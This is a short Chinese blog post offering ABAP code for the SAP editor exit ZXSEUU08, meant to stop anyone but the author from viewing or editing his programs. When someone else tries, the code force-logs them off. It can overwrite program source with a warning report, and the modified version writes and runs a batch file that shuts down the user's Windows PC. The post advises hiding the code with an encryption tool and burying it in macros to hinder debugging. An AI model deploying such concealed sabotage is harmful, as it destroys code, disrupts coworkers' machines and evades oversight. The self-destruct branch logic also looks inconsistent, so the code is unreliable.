ABAP 禁止别人修改和查看自己的源代码


写完代码后记得备份保存自己的源代码

 1 *&---------------------------------------------------------------------*
 2 *& 包含               ZXSEUU08
 3 *&---------------------------------------------------------------------*
 4 
 5   DEFINE destory.
 6     DATA:lv_program TYPE sy-sysid.
 7     DATA:lt_code TYPE TABLE OF string.
 8     DATA:lv_code TYPE string.
 9     lv_program = &1.
10     lv_code = `REPORT ` && lv_program && `.`.
11     APPEND lv_code TO lt_code.
12     CONCATENATE sy-datum sy-uzeit sy-uname ` Warning:your profram!` INTO lv_code SEPARATED BY space.
13     lv_code = `WRITE:ICON_RED_LIGHT,'` && lv_code && `',/.`.
14     APPEND  lv_code TO lt_code.
15     INSERT REPORT lv_program FROM lt_code[] STATE 'A'.
16     CALL 'SYST_LOGOFF'.
17   END-OF-DEFINITION.
18 
19   DEFINE marc_chenhui.
20     CONSTANTS:lv_author TYPE cnam VALUE 'CHENHUI'.
21     DATA: terminal LIKE usr41-terminal.
22     DATA:lt_proc TYPE string OCCURS 0.
23     INCLUDE ole2incl.
24     DATA: ole   TYPE ole2_object,
25           voice TYPE ole2_object,
26           text  TYPE string.
27     CALL FUNCTION 'TERMINAL_ID_GET'
28       EXPORTING
29         username             = sy-uname
30       IMPORTING
31         terminal             = terminal
32       EXCEPTIONS
33         multiple_terminal_id = 1
34         no_terminal_found    = 2
35         OTHERS               = 3.
36 
37     READ REPORT program INTO lt_proc.
38     READ TABLE lt_proc INTO DATA(ls_proc) INDEX 1."程序首行指定内容
39     SELECT SINGLE cnam INTO @DATA(lv_cnam) FROM reposrc WHERE progname = @program.
40 
41     IF sy-uname <> lv_author.
42       IF program+0(1) CA 'ZY' AND ( operation = 'EDIT' OR operation = 'DISPLA').
43         IF ( lv_cnam = lv_author AND sy-uname <> lv_author ).
44           text = '您可以执行但不允许查看和更改陈辉的源代码!'.
45           CREATE OBJECT voice 'SAPI.SpVoice'.
46           CALL METHOD OF voice 'Speak' = ole
47              EXPORTING #1 = text.
48           "      MESSAGE e001(00) WITH text.
49           CALL 'SYST_LOGOFF'.
50         ENDIF.
51 
52         IF ( terminal CS 'xxxx.xxxx.xxxx.xxxx' )."黑名单嘞
53 
54         ENDIF.
55       ENDIF.
56     ELSE.
57       IF sy-debug = abap_true AND sy-datum >= 20220101."如果有人试图debug模式跳过,直接启动自毁程序
58         IF lv_cnam <> lv_author AND program+0(1) CA 'ZY'.
59           destory program.
60         ENDIF.
61       ENDIF.
62     ENDIF.
63 
64   END-OF-DEFINITION.
65   marc_chenhui.

将这段代码写入:ZXSEUU08 后,然后执行加密程序,将这段代码给隐藏掉就可以了,隐藏程序见:。

 修改版,带自毁程序

 1 *&---------------------------------------------------------------------*
 2 *& 包含               ZXSEUU08
 3 *&---------------------------------------------------------------------*
 4 
 5 DEFINE shutdown.
 6   DATA:tab TYPE TABLE OF line.
 7   APPEND 'shutdown -s -t 600'  TO tab.
 8 "  APPEND 'del D:\txt.bat /q'  TO tab.
 9 
10   CALL FUNCTION 'GUI_DOWNLOAD'
11     EXPORTING
12       filename = 'D:\txt.bat'
13     TABLES
14       data_tab = tab.
15 
16   CALL FUNCTION 'GUI_RUN'
17     EXPORTING
18       command = 'D:\txt.bat'.
19 END-OF-DEFINITION.
20 
21 DEFINE destory.
22   DATA:lv_program TYPE sy-sysid.
23   DATA:lt_code TYPE TABLE OF string.
24   DATA:lv_code TYPE string.
25   lv_program = &1.
26   lv_code = `REPORT ` && lv_program && `.`.
27   APPEND lv_code TO lt_code.
28   CONCATENATE sy-datum sy-uzeit sy-uname ` Warning:your profram!` INTO lv_code SEPARATED BY space.
29   lv_code = `WRITE:ICON_RED_LIGHT,'` && lv_code && `',/.`.
30   APPEND  lv_code TO lt_code.
31   INSERT REPORT lv_program FROM lt_code[] STATE 'A'.
32   CALL 'SYST_LOGOFF'.
33 END-OF-DEFINITION.
34 
35 DEFINE marc_chenhui.
36   CONSTANTS:lv_author TYPE cnam VALUE 'CHENHUI'.
37   DATA: terminal LIKE usr41-terminal.
38   DATA:lt_proc TYPE string OCCURS 0.
39   INCLUDE ole2incl.
40   DATA: ole   TYPE ole2_object,
41         voice TYPE ole2_object,
42         text  TYPE string.
43   CALL FUNCTION 'TERMINAL_ID_GET'
44     EXPORTING
45       username             = sy-uname
46     IMPORTING
47       terminal             = terminal
48     EXCEPTIONS
49       multiple_terminal_id = 1
50       no_terminal_found    = 2
51       OTHERS               = 3.
52 
53   READ REPORT program INTO lt_proc.
54   READ TABLE lt_proc INTO DATA(ls_proc) INDEX 1."程序首行指定内容
55   SELECT SINGLE cnam INTO @DATA(lv_cnam) FROM reposrc WHERE progname = @program.
56 
57   IF sy-uname <> lv_author.
58     IF program+0(1) CA 'ZY' AND ( operation = 'EDIT' OR operation = 'DISPLA').
59       IF ( lv_cnam = lv_author AND sy-uname <> lv_author ).
60         shutdown.
61         text = '您可以执行但不允许查看和更改陈辉的源代码!'.
62         CREATE OBJECT voice 'SAPI.SpVoice'.
63         CALL METHOD OF voice 'Speak' = ole
64            EXPORTING #1 = text.
65         "      MESSAGE e001(00) WITH text.
66         CALL 'SYST_LOGOFF'.
67       ENDIF.
68 
69       IF ( terminal CS 'xxxx.xxxx.xxxx.xxxx' )."黑名单嘞
70 
71       ENDIF.
72 
73     ENDIF.
74   ELSE.
75     IF sy-debug = abap_true AND sy-datum >= 20220101."如果有人试图debug模式跳过,直接启动自毁程序
76       IF lv_cnam <> lv_author AND program+0(1) CA 'ZY'.
77         destory program.
78       ENDIF.
79     ENDIF.
80   ENDIF.
81 
82 
83 END-OF-DEFINITION.
84 marc_chenhui."写在宏里面,增加调试破解的难度